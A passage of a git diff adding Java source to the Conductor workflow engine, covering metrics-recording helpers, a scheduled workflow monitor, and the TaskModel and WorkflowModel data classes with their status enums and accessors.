counter("task_queue_op_error", "workflowName", workflowType, "taskType", taskType); + } + + public static void recordWorkflowCompletion( + String workflowType, long duration, String ownerApp) { + getTimer( + "workflow_execution", + "workflowName", + workflowType, + "ownerApp", + StringUtils.defaultIfBlank(ownerApp, "unknown")) + .record(duration, TimeUnit.MILLISECONDS); + } + + public static void recordUnackTime(String workflowType, long duration) { + getTimer("workflow_unack", "workflowName", workflowType) + .record(duration, TimeUnit.MILLISECONDS); + } + + public static void recordTaskRateLimited(String taskDefName, int limit) { + gauge("task_rate_limited", limit, "taskType", taskDefName); + } + + public static void recordTaskConcurrentExecutionLimited(String taskDefName, int limit) { + gauge("task_concurrent_execution_limited", limit, "taskType", taskDefName); + } + + public static void recordEventQueueMessagesProcessed( + String queueType, String queueName, int count) { + getCounter("event_queue_messages_processed", "queueType", queueType, "queueName", queueName) + .increment(count); + } + + public static void recordObservableQMessageReceivedErrors(String queueType) { + counter("observable_queue_error", "queueType", queueType); + } + + public static void recordEventQueueMessagesHandled(String queueType, String queueName) { + counter("event_queue_messages_handled", "queueType", queueType, "queueName", queueName); + } + + public static void recordEventQueueMessagesError(String queueType, String queueName) { + counter("event_queue_messages_error", "queueType", queueType, "queueName", queueName); + } + + public static void recordEventExecutionSuccess(String event, String handler, String action) { + counter("event_execution_success", "event", event, "handler", handler, "action", action); + } + + public static void recordEventExecutionError( + String event, String handler, String action, String exceptionClazz) { + counter( + "event_execution_error", + "event", + event, + "handler", + handler, + "action", + action, + "exception", + exceptionClazz); + } + + public static void recordEventActionError(String action, String entityName, String event) { + counter("event_action_error", "action", action, "entityName", entityName, "event", event); + } + + public static void recordDaoRequests( + String dao, String action, String taskType, String workflowType) { + counter( + "dao_requests", + "dao", + dao, + "action", + action, + "taskType", + StringUtils.defaultIfBlank(taskType, "unknown"), + "workflowType", + StringUtils.defaultIfBlank(workflowType, "unknown")); + } + + public static void recordDaoEventRequests(String dao, String action, String event) { + counter("dao_event_requests", "dao", dao, "action", action, "event", event); + } + + public static void recordDaoPayloadSize( + String dao, String action, String taskType, String workflowType, int size) { + gauge( + "dao_payload_size", + size, + "dao", + dao, + "action", + action, + "taskType", + StringUtils.defaultIfBlank(taskType, "unknown"), + "workflowType", + StringUtils.defaultIfBlank(workflowType, "unknown")); + } + + public static void recordExternalPayloadStorageUsage( + String name, String operation, String payloadType) { + counter( + "external_payload_storage_usage", + "name", + name, + "operation", + operation, + "payloadType", + payloadType); + } + + public static void recordDaoError(String dao, String action) { + counter("dao_errors", "dao", dao, "action", action); + } + + public static void recordAckTaskError(String taskType) { + counter("task_ack_error", "taskType", taskType); + } + + public static void recordESIndexTime(String action, String docType, long val) { + getTimer(action, "docType", docType).record(val, TimeUnit.MILLISECONDS); + } + + public static void recordWorkerQueueSize(String queueType, int val) { + gauge("indexing_worker_queue", val, "queueType", queueType); + } + + public static void recordDiscardedIndexingCount(String queueType) { + counter("discarded_index_count", "queueType", queueType); + } + + public static void recordAcquireLockUnsuccessful() { + counter("acquire_lock_unsuccessful"); + } + + public static void recordAcquireLockFailure(String exceptionClassName) { + counter("acquire_lock_failure", "exceptionType", exceptionClassName); + } + + public static void recordWorkflowArchived(String workflowType, WorkflowModel.Status status) { + counter("workflow_archived", "workflowName", workflowType, "workflowStatus", status.name()); + } + + public static void recordArchivalDelayQueueSize(int val) { + gauge("workflow_archival_delay_queue_size", val); + } + + public static void recordDiscardedArchivalCount() { + counter("discarded_archival_count"); + } + + public static void recordSystemTaskWorkerPollingLimited(String queueName) { + counter("system_task_worker_polling_limited", "queueName", queueName); + } + + public static void recordEventQueuePollSize(String queueType, int val) { + gauge("event_queue_poll", val, "queueType", queueType); + } + + public static void recordQueueMessageRepushFromRepairService(String queueName) { + counter("queue_message_repushed", "queueName", queueName); + } + + public static void recordTaskExecLogSize(int val) { + gauge("task_exec_log_size", val); + } +} diff --git a/core/src/main/java/com/netflix/conductor/metrics/WorkflowMonitor.java b/core/src/main/java/com/netflix/conductor/metrics/WorkflowMonitor.java new file mode 100644 index 0000000..e1e8fc6 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/metrics/WorkflowMonitor.java @@ -0,0 +1,145 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.metrics; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.NoSuchElementException; +import java.util.Set; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.service.MetadataService; + +import static com.netflix.conductor.core.execution.tasks.SystemTaskRegistry.ASYNC_SYSTEM_TASKS_QUALIFIER; + +@Component +@ConditionalOnProperty( + name = "conductor.workflow-monitor.enabled", + havingValue = "true", + matchIfMissing = true) +public class WorkflowMonitor { + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkflowMonitor.class); + + private final MetadataService metadataService; + private final QueueDAO queueDAO; + private final ExecutionDAOFacade executionDAOFacade; + private final int metadataRefreshInterval; + private final Set asyncSystemTasks; + + private List taskDefs; + private List workflowDefs; + private int refreshCounter = 0; + + public WorkflowMonitor( + MetadataService metadataService, + QueueDAO queueDAO, + ExecutionDAOFacade executionDAOFacade, + @Value("${conductor.workflow-monitor.metadata-refresh-interval:10}") + int metadataRefreshInterval, + @Qualifier(ASYNC_SYSTEM_TASKS_QUALIFIER) Set asyncSystemTasks) { + this.metadataService = metadataService; + this.queueDAO = queueDAO; + this.executionDAOFacade = executionDAOFacade; + this.metadataRefreshInterval = metadataRefreshInterval; + this.asyncSystemTasks = asyncSystemTasks; + LOGGER.info("{} initialized.", WorkflowMonitor.class.getSimpleName()); + } + + @Scheduled( + initialDelayString = "${conductor.workflow-monitor.stats.initial-delay:120000}", + fixedDelayString = "${conductor.workflow-monitor.stats.delay:60000}") + public void reportMetrics() { + try { + if (refreshCounter <= 0) { + workflowDefs = metadataService.getWorkflowDefs(); + taskDefs = new ArrayList<>(metadataService.getTaskDefs()); + refreshCounter = metadataRefreshInterval; + } + + getPendingWorkflowToOwnerAppMap(workflowDefs) + .forEach( + (workflowName, ownerApp) -> { + long count = + executionDAOFacade.getPendingWorkflowCount(workflowName); + Monitors.recordRunningWorkflows(count, workflowName, ownerApp); + }); + + taskDefs.forEach( + taskDef -> { + long size = queueDAO.getSize(taskDef.getName()); + long inProgressCount = + executionDAOFacade.getInProgressTaskCount(taskDef.getName()); + Monitors.recordQueueDepth(taskDef.getName(), size, taskDef.getOwnerApp()); + if (taskDef.concurrencyLimit() > 0) { + Monitors.recordTaskInProgress( + taskDef.getName(), inProgressCount, taskDef.getOwnerApp()); + } + }); + + asyncSystemTasks.forEach( + workflowSystemTask -> { + long size = queueDAO.getSize(workflowSystemTask.getTaskType()); + long inProgressCount = + executionDAOFacade.getInProgressTaskCount( + workflowSystemTask.getTaskType()); + Monitors.recordQueueDepth(workflowSystemTask.getTaskType(), size, "system"); + Monitors.recordTaskInProgress( + workflowSystemTask.getTaskType(), inProgressCount, "system"); + }); + + refreshCounter--; + } catch (Exception e) { + LOGGER.error("Error while publishing scheduled metrics", e); + } + } + + /** + * Pending workflow data does not contain information about version. We only need the owner app + * and workflow name, and we only need to query for the workflow once. + */ + @VisibleForTesting + Map getPendingWorkflowToOwnerAppMap(List workflowDefs) { + final Map> groupedWorkflowDefs = + workflowDefs.stream().collect(Collectors.groupingBy(WorkflowDef::getName)); + + Map workflowNameToOwnerMap = new HashMap<>(); + groupedWorkflowDefs.forEach( + (key, value) -> { + final WorkflowDef workflowDef = + value.stream() + .max(Comparator.comparing(WorkflowDef::getVersion)) + .orElseThrow(NoSuchElementException::new); + + workflowNameToOwnerMap.put(key, workflowDef.getOwnerApp()); + }); + return workflowNameToOwnerMap; + } +} diff --git a/core/src/main/java/com/netflix/conductor/model/TaskModel.java b/core/src/main/java/com/netflix/conductor/model/TaskModel.java new file mode 100644 index 0000000..4e71415 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/model/TaskModel.java @@ -0,0 +1,821 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.model; + +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.BeanUtils; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.StateChangeEvent; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.google.protobuf.Any; +import jakarta.validation.Valid; +import lombok.Getter; +import lombok.Setter; + +public class TaskModel { + + public enum Status { + IN_PROGRESS(false, true, true), + CANCELED(true, false, false), + FAILED(true, false, true), + FAILED_WITH_TERMINAL_ERROR(true, false, false), + COMPLETED(true, true, true), + COMPLETED_WITH_ERRORS(true, true, true), + SCHEDULED(false, true, true), + TIMED_OUT(true, false, true), + SKIPPED(true, true, false); + + private final boolean terminal; + + private final boolean successful; + + private final boolean retriable; + + Status(boolean terminal, boolean successful, boolean retriable) { + this.terminal = terminal; + this.successful = successful; + this.retriable = retriable; + } + + public boolean isTerminal() { + return terminal; + } + + public boolean isSuccessful() { + return successful; + } + + public boolean isRetriable() { + return retriable; + } + } + + private String taskType; + + private Status status; + + private String referenceTaskName; + + private int retryCount; + + private int seq; + + private String correlationId; + + private int pollCount; + + private String taskDefName; + + /** Time when the task was scheduled */ + private long scheduledTime; + + /** Time when the task was first polled */ + private long startTime; + + /** Time when the task completed executing */ + private long endTime; + + /** Time when the task was last updated */ + private long updateTime; + + private int startDelayInSeconds; + + private String retriedTaskId; + + private boolean retried; + + private boolean executed; + + private boolean callbackFromWorker = true; + + private long responseTimeoutSeconds; + + private String workflowInstanceId; + + private String workflowType; + + private String taskId; + + private String reasonForIncompletion; + + private long callbackAfterSeconds; + + /** + * Millisecond-precision delay before this task should next be made visible in the queue. When + * greater than zero this takes precedence over {@link #callbackAfterSeconds} so that sub-second + * jitter added at retry scheduling time is preserved through to the queue push. Zero (the + * default) means fall back to {@link #callbackAfterSeconds}. + */ + private long callbackAfterMs; + + /** + * Epoch-millisecond timestamp of when this task was first scheduled, before any + * retries. Preserved across all retry attempts (copied but never reset) so that {@code + * totalTimeoutSeconds} on the task definition can be enforced as a hard wall-clock budget + * spanning the entire lifetime of the task including retry delays. Zero means the task was + * created before this field was introduced. + */ + private long firstScheduledTime; + + private String workerId; + + private WorkflowTask workflowTask; + + private String domain; + + private Any inputMessage; + + private Any outputMessage; + + // id 31 is reserved + + private int rateLimitPerFrequency; + + private int rateLimitFrequencyInSeconds; + + private String externalInputPayloadStoragePath; + + private String externalOutputPayloadStoragePath; + + private int workflowPriority; + + private String executionNameSpace; + + private String isolationGroupId; + + private int iteration; + + private String subWorkflowId; + + // Timeout after which the wait task should be marked as completed + private long waitTimeout; + + public String getLoopTaskId() { + return loopTaskId; + } + + public void setLoopTaskId(String loopTaskId) { + this.loopTaskId = loopTaskId; + } + + // Used as mapping to parent do_while task. + private String loopTaskId; + + /** + * Used to note that a sub workflow associated with SUB_WORKFLOW task has an action performed on + * it directly. + */ + private boolean subworkflowChanged; + + /** Id of the parent task when *this* task is an event associated with the task */ + private String parentTaskId; + + private @Valid Map> onStateChange; + + @JsonIgnore private Map inputPayload = new HashMap<>(); + + @JsonIgnore private Map outputPayload = new HashMap<>(); + + @JsonIgnore private Map inputData = new HashMap<>(); + + @JsonIgnore private Map outputData = new HashMap<>(); + + private boolean idempotent = false; + + @Getter @Setter private String parentTaskReferenceName; + + @Getter @Setter private boolean cachedOutput; + + @Getter @Setter + private ConcurrentHashMap notifications = + new ConcurrentHashMap<>(); + + // Used for tasks which are purely events and not tied to a workflow + @Getter @Setter private boolean nonWorkflowEventTask; + + public String getTaskType() { + return taskType; + } + + public void setTaskType(String taskType) { + this.taskType = taskType; + } + + public Status getStatus() { + return status; + } + + public void setStatus(Status status) { + this.status = status; + } + + @JsonIgnore + public Map getInputData() { + return externalInputPayloadStoragePath != null ? inputPayload : inputData; + } + + @JsonIgnore + public void setInputData(Map inputData) { + if (inputData == null) { + inputData = new HashMap<>(); + } + this.inputData = inputData; + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @JsonProperty("inputData") + @Deprecated + public void setRawInputData(Map inputData) { + setInputData(inputData); + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @JsonProperty("inputData") + @Deprecated + public Map getRawInputData() { + return inputData; + } + + public String getReferenceTaskName() { + return referenceTaskName; + } + + public void setReferenceTaskName(String referenceTaskName) { + this.referenceTaskName = referenceTaskName; + } + + public int getRetryCount() { + return retryCount; + } + + public void setRetryCount(int retryCount) { + this.retryCount = retryCount; + } + + public int getSeq() { + return seq; + } + + public void setSeq(int seq) { + this.seq = seq; + } + + public String getCorrelationId() { + return correlationId; + } + + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + public int getPollCount() { + return pollCount; + } + + public void setPollCount(int pollCount) { + this.pollCount = pollCount; + } + + public String getTaskDefName() { + if (taskDefName == null || "".equals(taskDefName)) { + taskDefName = taskType; + } + return taskDefName; + } + + public void setTaskDefName(String taskDefName) { + this.taskDefName = taskDefName; + } + + public long getScheduledTime() { + return scheduledTime; + } + + public void setScheduledTime(long scheduledTime) { + this.scheduledTime = scheduledTime; + } + + public long getStartTime() { + return startTime; + } + + public void setStartTime(long startTime) { + this.startTime = startTime; + } + + public long getEndTime() { + return endTime; + } + + public void setEndTime(long endTime) { + this.endTime = endTime; + } + + public long getUpdateTime() { + return updateTime; + } + + public void setUpdateTime(long updateTime) { + this.updateTime = updateTime; + } + + public int getStartDelayInSeconds() { + return startDelayInSeconds; + } + + public void setStartDelayInSeconds(int startDelayInSeconds) { + this.startDelayInSeconds = startDelayInSeconds; + } + + public String getRetriedTaskId() { + return retriedTaskId; + } + + public void setRetriedTaskId(String retriedTaskId) { + this.retriedTaskId = retriedTaskId; + } + + public boolean isRetried() { + return retried; + } + + public void setRetried(boolean retried) { + this.retried = retried; + } + + public boolean isExecuted() { + return executed; + } + + public void setExecuted(boolean executed) { + this.executed = executed; + } + + public boolean isCallbackFromWorker() { + return callbackFromWorker; + } + + public void setCallbackFromWorker(boolean callbackFromWorker) { + this.callbackFromWorker = callbackFromWorker; + } + + public long getResponseTimeoutSeconds() { + return responseTimeoutSeconds; + } + + public void setResponseTimeoutSeconds(long responseTimeoutSeconds) { + this.responseTimeoutSeconds = responseTimeoutSeconds; + } + + public String getWorkflowInstanceId() { + return workflowInstanceId; + } + + public void setWorkflowInstanceId(String workflowInstanceId) { + this.workflowInstanceId = workflowInstanceId; + } + + public String getWorkflowType() { + return workflowType; + } + + public void setWorkflowType(String workflowType) { + this.workflowType = workflowType; + } + + public String getTaskId() { + return taskId; + } + + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = reasonForIncompletion; + } + + public long getCallbackAfterSeconds() { + return callbackAfterSeconds; + } + + public void setCallbackAfterSeconds(long callbackAfterSeconds) { + this.callbackAfterSeconds = callbackAfterSeconds; + } + + public long getCallbackAfterMs() { + return callbackAfterMs; + } + + public void setCallbackAfterMs(long callbackAfterMs) { + this.callbackAfterMs = callbackAfterMs; + } + + public long getFirstScheduledTime() { + return firstScheduledTime; + } + + public void setFirstScheduledTime(long firstScheduledTime) { + this.firstScheduledTime = firstScheduledTime; + } + + public String getWorkerId() { + return workerId; + } + + public void setWorkerId(String workerId) { + this.workerId = workerId; + } + + @JsonIgnore + public Map getOutputData() { + if (!outputPayload.isEmpty() && !outputData.isEmpty()) { + // Combine payload + data + // data has precedence over payload because: + // with external storage enabled, payload contains the old values + // while data contains the latest and if payload took precedence, it + // would remove latest outputs + outputPayload.forEach(outputData::putIfAbsent); + outputPayload = new HashMap<>(); + return outputData; + } else if (outputPayload.isEmpty()) { + return outputData; + } else { + return outputPayload; + } + } + + @JsonIgnore + public void setOutputData(Map outputData) { + if (outputData == null) { + outputData = new HashMap<>(); + } + this.outputData = outputData; + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @JsonProperty("outputData") + @Deprecated + public void setRawOutputData(Map inputData) { + setOutputData(inputData); + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @JsonProperty("outputData") + @Deprecated + public Map getRawOutputData() { + return outputData; + } + + public WorkflowTask getWorkflowTask() { + return workflowTask; + } + + public void setWorkflowTask(WorkflowTask workflowTask) { + this.workflowTask = workflowTask; + } + + public String getDomain() { + return domain; + } + + public void setDomain(String domain) { + this.domain = domain; + } + + public Any getInputMessage() { + return inputMessage; + } + + public void setInputMessage(Any inputMessage) { + this.inputMessage = inputMessage; + } + + public Any getOutputMessage() { + return outputMessage; + } + + public void setOutputMessage(Any outputMessage) { + this.outputMessage = outputMessage; + } + + public int getRateLimitPerFrequency() { + return rateLimitPerFrequency; + } + + public void setRateLimitPerFrequency(int rateLimitPerFrequency) { + this.rateLimitPerFrequency = rateLimitPerFrequency; + } + + public int getRateLimitFrequencyInSeconds() { + return rateLimitFrequencyInSeconds; + } + + public void setRateLimitFrequencyInSeconds(int rateLimitFrequencyInSeconds) { + this.rateLimitFrequencyInSeconds = rateLimitFrequencyInSeconds; + } + + public String getExternalInputPayloadStoragePath() { + return externalInputPayloadStoragePath; + } + + public void setExternalInputPayloadStoragePath(String externalInputPayloadStoragePath) { + this.externalInputPayloadStoragePath = externalInputPayloadStoragePath; + } + + public String getExternalOutputPayloadStoragePath() { + return externalOutputPayloadStoragePath; + } + + public void setExternalOutputPayloadStoragePath(String externalOutputPayloadStoragePath) { + this.externalOutputPayloadStoragePath = externalOutputPayloadStoragePath; + } + + public int getWorkflowPriority() { + return workflowPriority; + } + + public void setWorkflowPriority(int workflowPriority) { + this.workflowPriority = workflowPriority; + } + + public String getExecutionNameSpace() { + return executionNameSpace; + } + + public void setExecutionNameSpace(String executionNameSpace) { + this.executionNameSpace = executionNameSpace; + } + + public String getIsolationGroupId() { + return isolationGroupId; + } + + public void setIsolationGroupId(String isolationGroupId) { + this.isolationGroupId = isolationGroupId; + } + + public int getIteration() { + return iteration; + } + + public void setIteration(int iteration) { + this.iteration = iteration; + } + + public String getSubWorkflowId() { + // For backwards compatibility + if (StringUtils.isNotBlank(subWorkflowId)) { + return subWorkflowId; + } else { + return this.getOutputData() != null && this.getOutputData().get("subWorkflowId") != null + ? (String) this.getOutputData().get("subWorkflowId") + : this.getInputData() != null + ? (String) this.getInputData().get("subWorkflowId") + : null; + } + } + + public void setSubWorkflowId(String subWorkflowId) { + this.subWorkflowId = subWorkflowId; + // For backwards compatibility + if (this.outputData != null && this.outputData.containsKey("subWorkflowId")) { + this.outputData.put("subWorkflowId", subWorkflowId); + } + } + + public boolean isSubworkflowChanged() { + return subworkflowChanged; + } + + public void setSubworkflowChanged(boolean subworkflowChanged) { + this.subworkflowChanged = subworkflowChanged; + } + + public void incrementPollCount() { + ++this.pollCount; + } + + /** + * @return {@link Optional} containing the task definition if available + */ + public Optional getTaskDefinition() { + return Optional.ofNullable(this.getWorkflowTask()).map(WorkflowTask::getTaskDefinition); + } + + public boolean isLoopOverTask() { + return iteration > 0; + } + + public long getWaitTimeout() { + return waitTimeout; + } + + public void setWaitTimeout(long waitTimeout) { + this.waitTimeout = waitTimeout; + } + + /** + * @return the queueWaitTime + */ + public long getQueueWaitTime() { + if (this.startTime > 0 && this.scheduledTime > 0) { + if (this.updateTime > 0 && getCallbackAfterSeconds() > 0) { + long waitTime = + System.currentTimeMillis() + - (this.updateTime + (getCallbackAfterSeconds() * 1000)); + return waitTime > 0 ? waitTime : 0; + } else { + return this.startTime - this.scheduledTime; + } + } + return 0L; + } + + /** + * @return a copy of the task instance + */ + public TaskModel copy() { + TaskModel copy = new TaskModel(); + BeanUtils.copyProperties(this, copy); + return copy; + } + + public void externalizeInput(String path) { + this.inputPayload = this.inputData; + this.inputData = new HashMap<>(); + this.externalInputPayloadStoragePath = path; + } + + public void externalizeOutput(String path) { + this.outputPayload = this.outputData; + this.outputData = new HashMap<>(); + this.externalOutputPayloadStoragePath = path; + } + + public void internalizeInput(Map data) { + this.inputData = new HashMap<>(); + this.inputPayload = data; + } + + public void internalizeOutput(Map data) { + this.outputData = new HashMap<>(); + this.outputPayload = data; + } + + public boolean isIdempotentExecution() { + return !isAsyncComplete() && idempotent; + } + + public boolean isAsyncComplete() { + if (this.getInputData().containsKey("asyncComplete")) { + return Optional.ofNullable(this.getInputData().get("asyncComplete")) + .map(result -> (Boolean) result) + .orElse(false); + } else { + return Optional.ofNullable(this.getWorkflowTask()) + .map(WorkflowTask::isAsyncComplete) + .orElse(false); + } + } + + @Override + public String toString() { + return taskId; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + + if (o == null || getClass() != o.getClass()) return false; + TaskModel taskModel = (TaskModel) o; + + // If exactly one of the taskId is null, the two tasks are not equal + if (taskModel.taskId == null ^ this.taskId == null) { + return false; + } + + // If both taskIds are null, they are considered equal + // Otherwise, compare the task IDs for equality + return this.taskId == null || taskModel.taskId.equals(this.taskId); + } + + @Override + public int hashCode() { + if (taskId == null) { + return 0; + } + return taskId.hashCode(); + } + + public Task toTask() { + Task task = new Task(); + BeanUtils.copyProperties(this, task); + task.setStatus(Task.Status.valueOf(status.name())); + + // ensure that input/output is properly represented + if (externalInputPayloadStoragePath != null) { + task.setInputData(new HashMap<>()); + } + if (externalOutputPayloadStoragePath != null) { + task.setOutputData(new HashMap<>()); + } + + if (task.getWorkflowTask() == null) { + task.setWorkflowTask(new WorkflowTask()); + } + if (task.getWorkflowTask().getName() == null) { + task.getWorkflowTask().setName(getTaskDefName()); + } + if (task.getWorkflowTask().getTaskReferenceName() == null) { + task.getWorkflowTask().setTaskReferenceName(getReferenceTaskName()); + } + + return task; + } + + public static Task.Status mapToTaskStatus(TaskModel.Status status) { + return Task.Status.valueOf(status.name()); + } + + public void addInput(String key, Object value) { + this.inputData.put(key, value); + } + + public void addInput(Map inputData) { + this.inputData.putAll(inputData); + } + + public void addOutput(String key, Object value) { + this.outputData.put(key, value); + } + + public void addOutput(Map outputData) { + this.outputData.putAll(outputData); + } + + public Map> getOnStateChange() { + return onStateChange; + } + + public void setOnStateChange(Map> onStateChange) { + this.onStateChange = onStateChange; + } + + public String getParentTaskId() { + return parentTaskId; + } + + public void setParentTaskId(String parentTaskId) { + this.parentTaskId = parentTaskId; + } + + public boolean isIdempotent() { + return idempotent; + } + + public void setIdempotent(boolean idempotent) { + this.idempotent = idempotent; + } + + public void clearOutput() { + this.outputData.clear(); + this.outputPayload.clear(); + this.externalOutputPayloadStoragePath = null; + } + + public void removeOutput(String key) { + this.outputData.remove(key); + } +} diff --git a/core/src/main/java/com/netflix/conductor/model/WorkflowModel.java b/core/src/main/java/com/netflix/conductor/model/WorkflowModel.java new file mode 100644 index 0000000..c0bfffc --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/model/WorkflowModel.java @@ -0,0 +1,606 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.model; + +import java.util.*; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.BeanUtils; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.core.utils.Utils; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; + +public class WorkflowModel { + + public enum Status { + RUNNING(false, false), + COMPLETED(true, true), + FAILED(true, false), + TIMED_OUT(true, false), + TERMINATED(true, false), + PAUSED(false, true); + + private final boolean terminal; + private final boolean successful; + + Status(boolean terminal, boolean successful) { + this.terminal = terminal; + this.successful = successful; + } + + public boolean isTerminal() { + return terminal; + } + + public boolean isSuccessful() { + return successful; + } + } + + private Status status = Status.RUNNING; + + private long endTime; + + private String workflowId; + + private String parentWorkflowId; + + private String parentWorkflowTaskId; + + private List tasks = new LinkedList<>(); + + private String correlationId; + + private String reRunFromWorkflowId; + + private String reasonForIncompletion; + + private String event; + + private Map taskToDomain = new HashMap<>(); + + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private Set failedReferenceTaskNames = new HashSet<>(); + + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private Set failedTaskNames = new HashSet<>(); + + private WorkflowDef workflowDefinition; + + private String externalInputPayloadStoragePath; + + private String externalOutputPayloadStoragePath; + + private int priority; + + private Map variables = new HashMap<>(); + + private long lastRetriedTime; + + private String ownerApp; + + private Long createTime; + + private Long updatedTime; + + private String createdBy; + + private String updatedBy; + + // Capture the failed taskId if the workflow execution failed because of task failure + private String failedTaskId; + + private Status previousStatus; + + @JsonIgnore private Map input = new HashMap<>(); + + @JsonIgnore private Map output = new HashMap<>(); + + @JsonIgnore private Map inputPayload = new HashMap<>(); + + @JsonIgnore private Map outputPayload = new HashMap<>(); + + public Status getPreviousStatus() { + return previousStatus; + } + + public void setPreviousStatus(Status status) { + this.previousStatus = status; + } + + public Status getStatus() { + return status; + } + + public void setStatus(Status status) { + // update previous status if current status changed + if (this.status != status) { + setPreviousStatus(this.status); + } + this.status = status; + } + + public long getEndTime() { + return endTime; + } + + public void setEndTime(long endTime) { + this.endTime = endTime; + } + + public String getWorkflowId() { + return workflowId; + } + + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + public String getParentWorkflowId() { + return parentWorkflowId; + } + + public void setParentWorkflowId(String parentWorkflowId) { + this.parentWorkflowId = parentWorkflowId; + } + + public String getParentWorkflowTaskId() { + return parentWorkflowTaskId; + } + + public void setParentWorkflowTaskId(String parentWorkflowTaskId) { + this.parentWorkflowTaskId = parentWorkflowTaskId; + } + + public List getTasks() { + return tasks; + } + + public void setTasks(List tasks) { + this.tasks = tasks; + } + + @JsonIgnore + public Map getInput() { + if (!inputPayload.isEmpty() && !input.isEmpty()) { + input.putAll(inputPayload); + inputPayload = new HashMap<>(); + return input; + } else if (inputPayload.isEmpty()) { + return input; + } else { + return inputPayload; + } + } + + @JsonIgnore + public void setInput(Map input) { + if (input == null) { + input = new HashMap<>(); + } + this.input = input; + } + + @JsonIgnore + public Map getOutput() { + if (!outputPayload.isEmpty() && !output.isEmpty()) { + output.putAll(outputPayload); + outputPayload = new HashMap<>(); + return output; + } else if (outputPayload.isEmpty()) { + return output; + } else { + return outputPayload; + } + } + + @JsonIgnore + public void setOutput(Map output) { + if (output == null) { + output = new HashMap<>(); + } + this.output = output; + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @Deprecated + @JsonProperty("input") + public Map getRawInput() { + return input; + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @Deprecated + @JsonProperty("input") + public void setRawInput(Map input) { + setInput(input); + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @Deprecated + @JsonProperty("output") + public Map getRawOutput() { + return output; + } + + /** + * @deprecated Used only for JSON serialization and deserialization. + */ + @Deprecated + @JsonProperty("output") + public void setRawOutput(Map output) { + setOutput(output); + } + + public String getCorrelationId() { + return correlationId; + } + + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + public String getReRunFromWorkflowId() { + return reRunFromWorkflowId; + } + + public void setReRunFromWorkflowId(String reRunFromWorkflowId) { + this.reRunFromWorkflowId = reRunFromWorkflowId; + } + + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = reasonForIncompletion; + } + + public String getEvent() { + return event; + } + + public void setEvent(String event) { + this.event = event; + } + + public Map getTaskToDomain() { + return taskToDomain; + } + + public void setTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + } + + public Set getFailedReferenceTaskNames() { + return failedReferenceTaskNames; + } + + public void setFailedReferenceTaskNames(Set 